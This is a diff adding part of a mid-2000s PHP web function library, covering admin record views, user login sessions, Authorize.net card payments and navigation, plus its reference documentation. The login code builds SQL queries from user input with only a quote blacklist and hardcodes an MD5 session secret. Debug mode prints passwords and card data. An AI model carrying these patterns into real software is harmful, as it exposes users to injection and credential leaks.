+ $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+ $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+
+ // Add QuickTip if provided
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+ // Display top of page
+
+ if( !$nocenter )
+ $ret .= '<CENTER>';
+
+ $ret .= "$a_title\n";
+
+ if( $data )
+ {
+ // Output results
+
+ if( empty($view) ) // If there's no format spec in $view
+ {
+ $ret .= '<TABLE BORDER="'.$borders.'"'.($borders>0?' CELLPADDING="5"':'').'>
+ ';
+ reset( $out );
+ while( list( $k, $v ) = each($out) )
+ if( !$v["hidden"] )
+ $ret .= '<TR><TH ALIGN="right" VALIGN="top">'.$v["name"].' </TH><TD ALIGN="left">'.$v["value"].'</TD></TR>
+ ';
+
+ $ret .= '</TABLE>
+ ';
+ }
+ else // Otherwise use $view to output data
+ $ret .= $view;
+ }
+ else
+ $ret .= ' <CENTER>(No results found)</CENTER>
+ <P>
+ ';
+
+ if( !$nocenter )
+ $ret .= "</CENTER>\n";
+
+ return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+function admin_view_record( $table, $conn_str, $id, $fields,
+ $url, $action, $params, $a_title, $view="", $options = "", $quick_tip = "", $id_field = '' )
+{
+
+ $r = admin_view_record_r( $table, $conn_str, $id, $fields,
+ $url, $action, $params, $a_title, $view, $options, $quick_tip, $id_field );
+ echo $r['text'];
+ return( $r['status'] );
+}
+
+
+
+
+ // User login management
+
+function admin_user_login( $operation, $conn_str, $sess_code, $table, $id_field, $pw_field, $user_id = "", $password = "", $where = "" )
+{
+
+ $secret_code = "ApplesANDOranges"; // Secret code used to md5 encrypt everything
+
+ if( SI_DEBUG > 2 )
+ echo "<P>DEBUG: admin_user_login() - Request: $operation - ID: $user_id PW: $password SESSION: $sess_code\n";
+
+ switch( $operation )
+ {
+
+ case "create":
+
+ // Get user information and create a session
+
+ $d = db_auto_get_row( "SELECT * FROM $table WHERE id = '$sess_code';", 0, $conn_str, FALSE );
+ if( !$d )
+ return( FALSE );
+
+ // Build MD5 string from User ID, timestamp, "id" field value and secret
+
+ $t = time();
+ $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+
+ // Build output data
+
+ $d["session_code"] = $md5_string."-".$t."-".$d["id"]; // Session Code
+ $d["session_link"] = "&session_code=".$d["session_code"]; // Link format
+ $d["session_form"] = '<INPUT TYPE="hidden" NAME="session_code" VALUE="'.$d["session_code"].'">'; // Form format
+
+ return $d;
+
+
+ break;
+
+ case "login":
+
+ // Do sanity check
+
+ if( empty($user_id) || empty($password) || ereg("[,*']", $user_id) || ereg("[,*']", $password) )
+ return( FALSE );
+
+ // Check ID and Password against specified table
+
+ $d = db_auto_get_row( "SELECT * FROM $table WHERE $id_field = '$user_id' AND $pw_field = '$password'".($where!=''?' AND '.$where:'')." and lockout = 'f';",
+ 0, $conn_str, FALSE );
+ if( !$d )
+ return( FALSE );
+
+ // Build MD5 string from User ID, timestamp, "id" field value and secret
+
+ $t = time();
+ $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+
+ // Build output data
+
+ $d["session_code"] = $md5_string."-".$t."-".$d["id"]; // Session Code
+ $d["session_link"] = "&session_code=".$d["session_code"]; // Link format
+ $d["session_form"] = '<INPUT TYPE="hidden" NAME="session_code" VALUE="'.$d["session_code"].'">'; // Form format
+
+ return $d;
+
+ break;
+
+ case "verify":
+
+ // Break apart session code - [0] = md5, [1] = timestamp, [2] = record id
+
+ $ses = explode_trim( "-", $sess_code );
+ if( count($ses) != 3 || !is_numeric($ses[2]) ) // If there's not 3 parts, or the id isn't numeric, then it's not a valid code
+ return( FALSE );
+
+ // Retrieve data record
+
+ $d = db_auto_get_row( "SELECT * FROM $table WHERE id = ".$ses[2].($where!=''?' AND '.$where:'').";", 0, $conn_str, FALSE );
+
+ if( !$d ) // If no results, then not a valid record id
+ return( FALSE );
+
+ // Check MD5 string for valid session
+
+ if( md5($d[$id_field].$ses[1].$d["id"].$secret_code) != $ses[0] )
+ return( FALSE );
+
+ // Check to see if session has timed out
+
+ if( $ses[1] + SI_SES_TIMEOUT < time() )
+ return( FALSE );
+
+ // Update Timestamp and MD5 string
+
+ $t = time();
+ $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+
+ // Build output data
+
+ $d["session_code"] = $md5_string."-".$t."-".$d["id"]; // Session Code
+ $d["session_link"] = "&session_code=".$d["session_code"]; // Link format
+ $d["session_form"] = '<INPUT TYPE="hidden" NAME="session_code" VALUE="'.$d["session_code"].'">'; // Form format
+
+ return( $d );
+
+ break;
+
+ default:
+ echo '<FONT COLOR="red">UNKNOWN user login operation</FONT>';
+ return( FALSE );
+ break;
+ }
+
+}
+
+
+
+function authorize_net_aim
+ (
+ $login, $key, $test, $conf_email, $merch_email,
+ $amount, $card_num, $exp_date, $card_code, $currency = '',
+ $fname = '', $lname = '', $company = '', $address = '', $city = '', $state = '', $zip = '', $country = '', $phone = '', $fax = '', $id = '', $ip = '', $tax_id = '',
+ $email = '',
+ $invoice = '', $descr ='', $header = '', $footer = '',
+ $ship_fname = '', $ship_lname = '', $ship_company = '', $ship_address = '', $ship_city = '', $ship_state = '', $ship_zip = '', $ship_country = ''
+ )
+{
+
+ /*
+ Authorize.net processing
+
+ Test card #
+
+ TEST CARD CARD TYPE
+ NUMBER
+ 370000000000002 American Express
+ 6011000000000012 Discover
+ 5424000000000015 MasterCard
+ 4007000000027 Visa
+
+ */
+
+ // Make sure test is exactly 'FALSE' before conducting an actual transaction
+
+ switch( $test )
+ {
+ case 'LOCAL_TEST':
+ case 'TRUE':
+ case 'FALSE':
+ break;
+
+ default:
+ echo 'APPLICATION ERROR: Authorize.Net test mode not properly defined.';
+ exit;
+ break;
+ }
+
+ // Compile submitted data
+
+ $submit_data = array
+ (
+ // Base required information Required
+
+ 'x_version' => '3.1',
+ 'x_delim_data' => 'TRUE', // Yes
+ 'x_delim_char' => '|',
+ 'x_encap_char' => '',
+ 'x_relay_response' => 'FALSE', // Yes
+ 'x_test_request' => $test,
+
+ // Merchant Account Information
+
+ 'x_login' => $login, // Yes
+ 'x_tran_key' => $key, // Yes
+
+ // Transaction parameters
+
+ 'x_currency_code' => '',
+ 'x_method' => 'CC', // Yes Options: CC, ( ECHECK not implemented )
+ 'x_type' => 'AUTH_CAPTURE', // Yes Options: AUTH_CAPTURE, AUTH_ONLY, CAPTURE_ONLY, CREDIT, VOID, PRIOR_AUTH_CAPTURE
+ 'x_amount' => $amount, // Yes
+
+ // If x_method = 'CC'
+
+ 'x_card_num' => $card_num, // Yes
+ 'x_exp_date' => $exp_date, // Yes
+ 'x_card_code' => $card_code,
+
+ // Additional Customer information
+
+ 'x_first_name' => $fname,
+ 'x_last_name' => $lname,
+ 'x_company' => $company,
+ 'x_address' => $address,
+ 'x_city' => $city,
+ 'x_state' => $state, // Verified if supplied
+ 'x_zip' => $zip,
+ 'x_country' => $country, // Verified if supplied
+ 'x_phone' => $phone,
+ 'x_fax' => $fax,
+ 'x_cust_id' => $id,
+ 'x_customer_ip' => $ip,
+ 'x_customer_tax_id' => $tax_id,
+
+ // E-Mail info for confirmation
+
+ 'x_email' => $email, // Customer E-Mail
+ 'x_email_customer' => $conf_email, // IF TRUE customer will receive conf via E-Mail from Authorize.Net
+ 'x_header_email_receipt' => $header, // Header to be included in conf E-Mail
+ 'x_footer_email_receipt' => $footer, // Footer to be included in conf E-Mail
+ 'x_merchant_email' => $merch_email, // If supplied, merchant will receive conf via E-Mail
+
+ // Invoice
+
+ 'x_invoice_num' => $invoice,
+ 'x_description' => $descr,
+
+ // Shipping information
+
+ 'x_ship_to_first_name' => $ship_fname,
+ 'x_ship_to_last_name' => $ship_lname,
+ 'x_ship_to_company' => $ship_company,
+ 'x_ship_to_address' => $ship_address,
+ 'x_ship_to_city' => $ship_city,
+ 'x_ship_to_state' => $ship_state,
+ 'x_ship_to_zip' => $ship_zip,
+ 'x_ship_to_country' => $ship_country,
+
+
+ );
+
+ if( SI_DEBUG > 2 )
+ {
+ echo "<P>DEBUG: Authorize.Net Submit Array<BR><PRE>\n";
+ var_dump( $submit_data );
+ echo "\n</PRE><P>";
+ }
+
+ // Assemble above data into a string for posting
+
+ if( SI_DEBUG > 0 )
+ echo "<P>DEBUG: Authorize.Net Submit Array<BR><PRE><table><tr><th align=\"left\">Parameter</th><th align=\"left\">Value</th></tr>\n";
+
+ $postdata = $sep = '';
+ foreach($submit_data AS $key => $val)
+ {
+ $postdata .= $sep.urlencode( $key ).'='.urlencode( $val );
+ $sep = '&';
+ if( SI_DEBUG > 0 )
+ echo "<tr><td>$key</td><td>$val</td></tr>\n";
+ }
+
+ if( SI_DEBUG > 0 )
+ echo "</table></PRE><P>";
+
+ if( SI_DEBUG > 0 )
+ echo "<P>DEBUG: Authorize.Net Post String = $postdata<P>";
+
+ // If this is a local test, just return data, don't send to Authorize.Net
+
+ if( $test == 'LOCAL_TEST' || $card_num == '0011001100110011' )
+ {
+ return
+ (
+ array
+ (
+ 0 => 1, // Success
+ 4 => 'Local Test', // Approval Code
+ )
+ );
+ }
+
+ // Submit Request
+
+ $headers = "POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($poststring)."\r\n";
+
+ exec( AUTH_CURL.' -d '.escapeshellarg($postdata)." -P 443 --url ".escapeshellarg(AUTH_URL), $results, $return );
+
+ // Check for failures
+
+ if( $return == 1 ) // Exec failed - Code 100
+ return( array(0=>100) );
+
+ if( trim($results[0]) == '' ) // No data returned - Code 101
+ return( array(0=>101) );
+
+ // Break results up into an array
+
+ $res = explode( "|", $results[0] );
+ if( SI_DEBUG > 0 )
+ {
+ echo "<P>DEBUG: Authorize.Net Response Array<BR><PRE><table><tr><th align=\"left\">Parameter</th><th align=\"left\">Value</th></tr>\n";
+ reset( $res );
+ foreach($res AS $key => $val)
+ echo "<tr><td>$key</td><td>$val</td></tr>\n";
+ echo "</table></PRE><P>";
+ }
+
+ if( !is_array($res) ) // No good data from Authorize.net - Code 102
+ {
+ return( array(0=>102) );
+ }
+
+ // If MD5 Hash secret is provided, authenticate response from Authorize.Net
+
+ if( SI_AUTH_SECRET != '' )
+ {
+ $hash = md5( SI_AUTH_SECRET.$login.$key.round($amount, 2) );
+ if( $res[37] != $hash )
+ $res[0] = 103; // Indicate MD5 Hash verification failure
+ }
+
+ // Return results
+
+ return( $res );
+
+}
+
+
+function build_nav( $nav_table, $menu_title, $current_item = '', $sub_menu = '', $link_data = '' )
+{
+ $nl = "\n";
+
+ $out = '<div id="navcontainer">'.$nl;
+
+ // If a title has been supplied - Add that
+
+ if( $menu_title != '' )
+ $out .= '<div id="navtitle">'.$menu_title.'</div>'.$nl;
+
+ $out .= '<ul id="Level1">'.$nl;
+
+ // If additional link_data passed, include ? and get rid of first "&"
+
+ if( strlen($link_data) > 1 )
+ $link_data = "?".substr($link_data, 1);
+
+ // Build nav from supplied table
+
+ reset( $nav_table );
+ while( list($key, $val) = each( $nav_table ) )
+ {
+ // If current item make it a non-link and include any supplied sub-menu
+
+ if( $current_item == $key )
+ $out .= '<li ><a href="#" class="inactive" onclick="return false;">'.$val['title'].'</a>'.$nl.$sub_menu.'</li>'.$nl;
+ else
+ $out .= '<li><a href="'.$val['url'].$link_data.'">'.$val['title'].'</a></li>'.$nl;
+ }
+
+ $out .= '</ul> <!-- level1 -->'.$nl.'</div> <!-- navcontainer -->'.$nl;
+
+ return( $out );
+}
+
+
+?>
--- /dev/null
+$Id: functions_docs.txt,v 1.1 2006/05/01 19:36:20 cscott Exp $
+************************************************************************
+* *
+* Gaslight Media Standard Function Library *
+* *
+* Copyright (c) 2000-2004 by Gaslight Media Inc. *
+* *
+* FILE: functions_docs.txt *
+* VERSION: 1.3 *
+* *
+************************************************************************
+
+
+TO DO:
+------
+
+
+
+INDEX
+-----
+
+ Debug Functions
+ bool debug_mail( string $to, string $subject, string $message [, string $headers [, string $parameters]] )
+
+ General Functions
+ bool CreditVal( string $Num, string $name, string $Accepted )
+ string credit_card_check( string $Num )
+
+ Geographic Functions
+ float geo_distance( $lat, $lon, $units )
+
+
+ Database Abstraction Functions
+
+ bool db_connect( string $conn_str, bool $fail_mode )
+ bool db_close( int $dbd )
+ bool db_pconnect( void )
+ int db_exec( int $dbd, string $qs )
+ array db_fetch_row( int $res, int $i, string $conn_str )
+ bool db_freeresult( int $res )
+ bool db_numrows( int $res )
+
+ Auto Functions
+
+ array db_auto_get_row( string $qs, int $i, string $conn_str, bool $fail_mode )
+ array[array] db_auto_get_data( string $qs, string $conn_str, bool $fail_mode, int $rows, int $start )
+ bool db_auto_exec( string $qs, string $conn_str, $fail_mode, $oid )
+ array db_data_fields( string $conn_str, string $table )
+
+ File Functions
+
+ string file_upload( string $form_field, string $file_name, string $destination_path )
+ string file_duplicte( string $file_name, string $base_path );
+ bool file_delete( string $file_name, string $base_path );
+ string file_get( string $file_name, int $max_size );
+ bool file_ouput_secure( string $file_name, string $md5, string $path );
+
+ Graphics Functions
+
+ array img_info( $path2image )
+ bool graphic_thumb( string $img, string $timg, string $type )
+ bool graphic_resize( string $img, string $timg, string $type, int $w, int $h )
+ array img_resized( string $path2image, string $path2thumb, string $axis, int $size )
+ array img_upload( string $form_field, string $image_name, string $destination_path )
+ string process_image( string $image, string $image_name )
+ bool delete_image( string $image_name )
+ string duplicate_image( string $image_name )
+
+ General Support Function/Classes
+
+ class timestampfunc
+ float pos_value( float $value )
+ string money( float $value )
+ array strtoarray( string $data )
+ string arraytostr( array $array )
+ string replace_tokens( string $s, array $tokens )
+ string cond_replace_tokens( string $s, array $tokens )
+ string replace_file_tokens( string $s )
+ string tableize_array( array $array )
+ string admin_field_select( array $fields, char $admin_function )
+ string admin_menu_std( string $action, string $a_title, int $id, string $opt, string $options, string $add_menu, string $params )
+ string admin_menu( string $action, string $option, string $a_title, int $id )
+ bool clean_input( string $var_name, string $type )
+ void data_to_url( array $names )
+ void url_to_data( array $names )
+ string data_to_url( array $data, string $prefix )
+ array url_to_data( array $data, string $url, string $start_key )
+ string build_nav( array $nav_table, string $menu_title, string $current_item = '', string $sub_menu = '', string $link_data = '' )
+
+ Category Support Functions
+
+ string category_path_func( string $table_name )
+ array cat_get_node( string $table, string $qs, string $order )
+ array cat_get_nodes( string $table, string $qs, string $order )
+ array cat_get_expanded_nodes( string $table, int $id )
+ bool cat_resequence_siblings( string $table, int $parent )
+ array cat_move_node( string $table, int $id, int ???????? ) PENDING
+
+ High Level Functions
+
+ array get_us_counties( $fail_mode )
+ string build_picklist( string $fieldname, array $data, string $selected [, string $type] )
+ string build_numeric_picklist( string $fieldname, $starting, $ending )
+ string output_template( string $field )
+ string calendar_date_select( string $default_value, timestamp $start_date, timestamp $end_date,
+ string $form_name, string $field_name )
+ void calendar_display( int $month, int $year, array $date_data )
+ string parse_view( string $file_name, $tokens )
+
+ Magic Form Functions
+
+ array magic_form_edit( int $mf_id, array $mf_format, in5 $mf_level )
+ array magic_form_display( int $mf_id, array $mf_format, int $mf_level )
+ array magic_form_submit( int $mf_id, int $mf_level )
+
+ High Level Functions for Admin Pages
+
+ array admin_process_records_r( string $table, string $where, string $order, string $conn_str, int $id, array $fields,
+ string $options, int $rows, string $url, string $action, string $params, string $a_title, string $view
+ string $Option )
+ void admin_process_records( string $table, string $where, string $order, string $conn_str, int $id, array $fields,
+ string $options, int $rows, string $url, string $action, string $params, string $a_title, string $view
+ string $Option )
+
+ array admin_list_records_r( string $table, sting $where, string $order, string $conn_str, string $fields,
+ string $options, int $rows, int $start, string $url, string $action,
+ string $params, string $filters, string $a_title )
+ void admin_list_records( string $table, sting $where, string $order, string $conn_str, string $fields,
+ string $options, int $rows, int $start, string $url, string $action,
+ string $params, string $filters, string $a_title )
+
+ array admin_new_record_r( string $table, string $conn_str, string $fields, string $url, string $action,
+ string $params, string $a_title, string $view )
+ void admin_new_record( string $table, string $conn_str, string $fields, string $url, string $action,
+ string $params, string $a_title, string $view )
+
+ array admin_add_new_record_r( string $table, string $conn_str, string $fields, string $url,
+ string $action, string $a_title )
+ void admin_add_new_record( string $table, string $conn_str, string $fields, string $url,
+ string $action, string $a_title )
+
+ array admin_edit_record_r( string $table, string $conn_str, int $id, string $fields, string $url,
+ string $action, string $a_title, string $view )
+ void admin_edit_record( string $table, string $conn_str, int $id, string $fields, string $url,
+ string $action, string $a_title, string $view )
+
+ array admin_update_record_r( string $table, string $conn_str, int $id, string $fields, string $url,
+ string $action, string $a_title, string $view )
+ void admin_update_record( string $table, string $conn_str, int $id, string $fields, string $url,
+ string $action, string $a_title, string $view )
+
+ array admin_delete_record_r( string $table, string $conn_str, int $id, string $fields, string $options,
+ string $url, string $action, string $a_title )
+ void admin_delete_record( string $table, string $conn_str, int $id, string $fields, string $options,
+ string $url, string $action, string $a_title )
+
+ array admin_confirm_delete_record_r( string $table, string $conn_str, int $id, string $fields, string $url,
+ string $action, string $a_title, string $view )
+ void admin_confirm_delete_record( string $table, string $conn_str, int $id, string $fields, string $url,
+ string $action, string $a_title, string $view )
+
+ array admin_view_record_r( string $table, sting $conn_str, string $id, string $fields, string $url,
+ string $action, string $a_title, string $view, string $id_field )
+ void admin_view_record( string $table, sting $conn_str, string $id, string $fields, string $url,
+ string $action, string $a_title, string $view, string $id_field )
+
+ void admin_user_login( string $operation, string $conn_str, string $sess_code
+ string $table, string $id_field, string $pw_field,
+ string $user_id, string $password )
+
+ Financial Transaction Functions
+
+ array function authorize_net_aim( fload $amount, string $card_num, string $exp_date, string $card_code, string $currency = '',
+ string $fname = '', string $lname = '', string $company = '', string $address = '', string $city = '', string $state = '', string $zip = '', string $country = '',
+ string $phone = '', string $fax = '', string $id = '', string $ip = '', string $tax_id = '',
+ string $email = '',
+ string $invoice = '', string $descr ='',
+ string $ship_fname = '', string $ship_lname = '', string $ship_company = '', string $ship_address = '', string $ship_city = '', string $ship_state = '',
+ string $ship_zip = '', string $ship_country = ''
+ )
+
+
+
+ Note on SI_DEBUG levels
+
+ 0 = No debug info
+ 1 = Output debug for High level functions only
+ 2 = Output debug for utilitiy function also
+ 3 = Output debug for database abstraction calls and low level functions
+
+
+************************************************************************
+* *
+* DEBUG FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ bool debug_mail( string $to, string $subject, string $message [, string $headers [, string $parameters]] )
+------------------------------------------------------------------------
+
+If SI_DEBUG is = 0
+
+ Passes all parameters on to the standard PHP mail() function and sends
+ mail.
+
+If SI_DEBUG is > 0
+
+ Outputs a table showing mail that would be sent by a mail() function
+ call and DOES NOT ACTUALLY SEND THE MAIL. Parameters are the same as
+ for the PHP mail() function.
+
+
+
+ Parameters
+ $to Recipient(s)
+ $subject Message Subject
+ $message Message Content
+ $headers Additional Headers
+ $parameters Additional Parameters
+
+ Return value:
+ True if debug level is high enough to display mail debug.
+ Otherwise, return value is that of the actual mail() function
+ call.
+
+
+************************************************************************
+* *
+* GENERAL FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ bool CreditVal( string $Num, string $Name, string $Accepted )
+------------------------------------------------------------------------
+
+ checks for a valid credit card number doing Luhn check
+
+ Parameters
+ $Num = the credit card number
+ $Name = the type of card
+ $Name can be :
+ mastercard,
+ visa,
+ americanexpress,
+ discover,
+ dinnercard
+ $Accepted = comma separated list of accepted cards. If not specified, all are accepted.
+
+ Return value:
+ returns
+ true if number and name are good values
+ false if not
+
+ Global references:
+ none
+
+------------------------------------------------------------------------
+ string credit_card_check( string $Num )
+------------------------------------------------------------------------
+
+ Alternative strong credit card check function. This version
+ returns the type of the credit card if it's a good number.
+
+ Will accept "0011-0011-0011-0011" as a good card and returns
+ "Test" for the card type.
+
+ Parameters
+ $Num = the credit card number
+
+ Return value:
+ $CardType Type of card if number is good, otherwise FALSE
+
+ Global references:
+ $tids_cc_array from siteinfo.inc is required
+
+
+************************************************************************
+* *
+* GEOGRAPHIC FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ float geo_distance( float $lat1, float $lon1, float $lat2,
+ float $lon2, string $units )
+------------------------------------------------------------------------
+
+ Calculates the distance between a pair of lat/lon coordinates.
+
+ Distance = 3963.0 * arccos[sin(lat1/57.2958) * sin(lat2/57.2958) + cos(lat1/57.2958) * cos(lat2/57.2958) * cos(lon2/57.2958 -lon1/57.2958)]
+
+ Results are in Statue Miles
+
+ For future reference
+
+ Bearing = arccos[ ( sin(lat2/57.2958) - sin(lat1/57.2958)??cos(D) ) / ( cos(lat1/57.2958) - sin(D) ) ]
+ if result is < 0 then Bearing is 360 - result
+
+ Parameters
+ $lat1 Latitude of point #1
+ $lon1 Longitude of point #1
+ $lat2 Latitude of point #2
+ $lon2 Longitude of point #2
+ $units Units of results returned
+ Inches, Feet, Yards, Miles (default), Nautical Miles,
+ Meters, Kilometers
+
+ Return value:
+ float Distance
+
+ Global references:
+
+
+***********************************************************************
+* *
+* DATABASE ABSTRACTION FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ index db_connect( string $conn_str, bool $fail_mode )
+------------------------------------------------------------------------
+
+ Creates a connection to database specified $conn_str,
+ and returns a boolean for success.
+
+ Parameters:
+ $conn_str Connect String
+ $fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+
+ Return value:
+ Returns an index or fails using html_error() function
+
+ Global references:
+ SI_DB_TYPE
+
+------------------------------------------------------------------------
+ bool db_close(int dbd)
+------------------------------------------------------------------------
+
+ Closes the connection to database specified by the handle dbd
+ returns a boolean for success
+
+ Parameters:
+ dbd -- database connection handle
+
+ Return value:
+ Returns 1 on success 0 if dbd is not a valid connection
+
+ Global references:
+ SI_DB_TYPE
+
+------------------------------------------------------------------------
+ bool db_pconnect( string $conn_str )
+------------------------------------------------------------------------
+
+Creates a persistant connection to database specified in $conn_str
+and returns a boolean for success.
+
+ Parameters:
+ $conn_str Connection string
+
+ Return value:
+ Returns 1 on success 0 on failure
+
+ Global references:
+ SI_DB_TYPE
+ SI_CONN_STR
+
+
+------------------------------------------------------------------------
+ int db_exec(int $dbd, string $qs)
+------------------------------------------------------------------------
+
+Execute an SQL query, * returning a valid result index or zero(0) on
+failure.
+
+ Parameters:
+ int $dbd -- valid database connection descriptor
+ string $qs -- SQL query string
+
+ Return value:
+ Returns a valid result index on success 0 on failure
+
+ Global references:
+ None
+
+------------------------------------------------------------------------
+ array db_fetch_row(int $res, int $i )
+------------------------------------------------------------------------
+
+Stores the data in associative indices, using the field names as
+keys.
+
+ Parameters:
+ int $res -- valid database result index
+ int $i -- row number
+
+ Return value:
+ Returns an associative array of key-value pairs
+
+ Global references:
+ None
+
+------------------------------------------------------------------------
+ bool db_freeresult(int $res)
+------------------------------------------------------------------------
+
+Free result memory.
+
+ Parameters:
+ int $res -- valid database result index
+
+ Return value:
+ Returns 1 for success 0 for failure
+
+ Global references:
+ None
+
+------------------------------------------------------------------------
+ bool db_numrows(int $res)
+------------------------------------------------------------------------
+
+Determine number of rows in a result index
+
+ Parameters:
+ int $res -- valid database result index
+
+ Return value:
+ Returns number of rows
+
+ Global references:
+ None
+
+************************************************************************
+* *
+* AUTO FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ array db_auto_get_row(string $qs, int $i, string $conn_str, bool $fail_mode)
+------------------------------------------------------------------------
+
+The auto function for retrieving an array based soley on a query
+string. This function makes the connection, does the exec, fetches
+the array, closes the connection, frees memory used by the result,
+and then returns the array
+
+ Parameters:
+ string $qs SQL query string
+ int $i row number
+ $conn_str Connect String
+ $fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+
+ Return value:
+ Returns an associative array of key-value pairs
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ array[array] db_auto_get_data(string $qs, string $conn_str, bool $fail_mode, int $rows, int $start)
+------------------------------------------------------------------------
+
+The auto function for retrieving an array based soley on a query
+string. This function makes the connection, does the exec, fetches
+the array, closes the connection, frees memory used by the result,
+and then returns the array.
+
+This function will by default retrieve a maximum of 100 results. That
+number may be increased by supplying the $rows value. You can also have
+it retrieve $rows rows starting at $start. This makes it simple to
+ask for the data for a single page of output when doing pagination without
+having to return all matched results.
+
+ Parameters:
+ string $qs SQL query string
+ $conn_str Connect String
+ Optional Parameters
+ $fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+ $rows Maximum number of rows that will be returned
+ Defaults to 100
+ $start Start at this row and retrieve up to $rows rows
+
+ Return value:
+ Returns an associative array of key-value pairs
+ Each key is a text value consisting of 2 numbers separated by "|"
+ i.e. "10|1320" = 10th row out of 1320 total results
+ (Note that the total is how many matches there are and may
+ be more than $rows.)
+
+ Global references:
+ None
+
+------------------------------------------------------------------------
+ bool db_auto_exec(string $qs, string $conn_str, bool $fail_mode )
+------------------------------------------------------------------------
+
+The auto function for executing a query.
+This function makes the connection, does the exec, fetches
+the array, closes the connection, frees memory used by the result,
+and then returns success (not a valid result index)
+
+ Parameters:
+ string $qs SQL query string
+ $conn_str Connect String
+
+ Return value:
+ Returns 1 (or oid, if available) for success 0 for failure
+
+ Global references:
+ None
+
+------------------------------------------------------------------------
+ array db_data_fields( string $conn_str, string $table )
+------------------------------------------------------------------------
+
+ Parameters:
+ $conn_str Connect String
+ $table Database Table Name
+
+ Return value:
+ Array of field information
+
+ $fields[{name}]['size'] = Storage size of fields {name}
+ $fields[{name}]['type'] = Field type of field {name}
+
+ Global references:
+ None
+
+************************************************************************
+* *
+* FILE FUNCTIONS *
+* *
+************************************************************************
+
+
+------------------------------------------------------------------------
+ string file_upload(string $temp_file, string $file_name, string $base_path)
+------------------------------------------------------------------------
+
+Store away an uploaded file
+
+ Parameters:
+ $temp_file -- Temporary name of uploaded file
+ $file_name -- $form_field of file with _name
+ $base_path -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+ Return value:
+ string $new_file_name,
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ string file_duplicate( string $file_name, string $base_path )
+------------------------------------------------------------------------
+
+Duplicate a stored File and give copy the same name with a "c{n}_" preceeding it.
+The {n} is a serialized number to distinguish the file from any other existing file.
+This function will try serial numbers up to 1000 before giving up.
+
+ Parameters:
+ $file_name -- Name of the file to duplicate
+ $base_path -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+ Return value:
+ Returns Name of duplicate file or '' if failure.
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ bool file_delete( string $file_name, string $base_path )
+------------------------------------------------------------------------
+
+Delete a stored File
+
+ Parameters:
+ $file_name -- Name of the file to delete
+ $base_path -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+ Return value:
+ Returns TRUE if all is OK or FALSE if file wasn't there
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ string file_get( string $file_name [, int $max_size], string $base_path )
+------------------------------------------------------------------------
+
+Read the specified file and return the results
+
+ Parameters:
+ $file_name -- $form_field of image with _name
+ $max_size -- Optional maximum size of file to read (0=all - default)
+ $base_path -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+ Return value:
+ string $file_contents -- Contents of the file or FALSE if error
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ bool file_ouput_secure( string $file_name, string $md5, string $path );
+------------------------------------------------------------------------
+
+Output the specified file from the specified path using secure method to protect directory.
+
+The directory or file specified should be unreachable via the web server, usually as a result
+of using a .htaccess rule to block access to the directory. The directory must be under SI_BASE_PATH.
+The file is output by actually reading the file and writing out to the browser. Only known mime types
+will work since the mime type needs to be specified when the file is output. This function will attempt
+to determine the mime type and if it can't will use a default type that may not result in desired action
+by the user's browser.
+
+The md5 string is required and must match an md5 string generated by this function. The md5 string is
+created from the file name with SI_FILE_SECRET appended to it. Since the user doesn't know the secret
+string, any messing with the file name will result in a failure. This protects other files in the
+directory when the user attempts to guess their names.
+
+If SI_FILE_SECRET doesn't exist or is empty this function will output an error message and exit.
+
+This function is required for ouput when using the "secure" option for the "file" type field in the
+admin functions.
+
+ Parameters:
+ $file_name -- Name of the file to output
+ $md5 -- MD5 String created using file name and SI_FILE_SECRET parameter
+ $base_path -- Optional base path for location of files - Defaults to SI_BASE_FILE_PATH
+ If supplied it is appended to SI_BASE_PATH to come up with
+ complete path.
+
+ Return value:
+ bool -- True if successful, false if file is not found or md5 doesn't match.
+
+ Global references:
+ SI_BASE_FILE_PATH
+ SI_BASE_PATH
+ SI_FILE_SECRET
+
+
+************************************************************************
+* *
+* GRAPHICS FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ array img_info( string $path2image )
+------------------------------------------------------------------------
+
+Returns information about an image
+
+ Parameters:
+ $path2image -- path to image
+
+ Return value:
+ Returns $img_data = Array
+ ['width'] = Width
+ ['height'] = Height
+ ['type_num'] = Type Number
+ ['type'] = Type name
+ ['size'] = 'height="yyy" width="xxx"' string for use in HTML tags
+ ['bits'] = Bits
+ ['channels'] = Channels
+
+ Global references:
+
+
+------------------------------------------------------------------------
+ bool graphic_thumb(string $img, string $timg, string $type)
+------------------------------------------------------------------------
+
+Creates a thumbnail image based on a full scale jpeg or gif
+
+ NOTES:
+ This function expects "good" parameters. Make sure you
+ ereg_replace any bad escape characters (or even spaces) that
+ are part of $img and $timg before passing them to
+ graphic_thumb(). You may want to look at escapeshellcmd() or
+ EscapeShellArg() once we upgrade to php4.03 ./muk
+
+ Parameters:
+ $img -- path to image which needs to be thumbed
+ $timg -- path where thumbnail will live
+ $type -- mime type of image e.g. "image/jpeg"
+
+ Return value:
+ Returns 1 on success 0 on failure
+
+ Global references:
+ DJPEG
+ CJPEG
